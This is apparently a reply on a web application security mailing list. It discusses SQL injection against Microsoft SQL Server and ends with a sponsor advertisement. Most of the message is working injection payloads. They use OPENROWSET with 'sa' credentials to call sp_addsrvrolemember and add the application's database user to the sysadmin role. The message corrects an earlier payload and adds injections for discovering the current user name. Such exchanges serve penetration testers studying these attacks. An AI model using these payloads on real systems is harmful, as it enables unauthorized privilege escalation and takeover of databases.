Andy,
Correct. But since I am injecting 'CREATE PROCEDURE' inside
an OPENROWSET statement, that should solve the issue, as the
SQL code inside the OPENROWSET is executed as a batch in
itself (correct me if I am wrong)
You may be right and that would be a nice workaround for the create
procedure lockout. Have you tried it locally with openrowset and does it
work?
I am running my code as an unprivileged user, but I escalated
to 'sa' using OPENROWSET
But I mean an unprivileged OS user. SQL Server not always runs as NT
Authority/SYSTEM. If you are 'SA' you inherit SQL Server's privileges and at
the operating system level you can still be "guest" or more frequently an
account named sql_server or something (which may not have access to
executing system32 binaries).
' and 1=(select * from
openrowset('SQLOLEDB','DRIVER={SQLServer};SERVER=<server>;UID
=sa;PWD=<password>',N'select user; declare @u varchar(50); set @u =
(select
rd>system_user); exec master.dbo.sp_addsrvrolemember @u,
''sysadmin'''))--
There is an error in this query I sent you. You should avoid declaring the
variable because it is being set within the context of the openrowset query:
you will be adding SA to sysadmin the way it is. Try it this way:
' and 1=(select * from openrowset('SQLOLEDB','DRIVER={SQLServer};
SERVER=<server>;UID=sa;PWD=<password>',N'select user; exec
master.dbo.sp_addsrvrolemember <app user>, ''sysadmin'''))--
Obtain <app user> with [' and 1=system_user --] or [' and 1=user --] In this
case both should be the same.
Regards,
Victor
------------------------------------------------------------------------
This List Sponsored by: Cenzic
Need to secure your web apps?
Cenzic Hailstorm finds vulnerabilities fast.
Click the link to buy it, try it or download Hailstorm for FREE.
http://www.cenzic.com/products_services/download_hailstorm.php?camp=701600000008bOW
------------------------------------------------------------------------
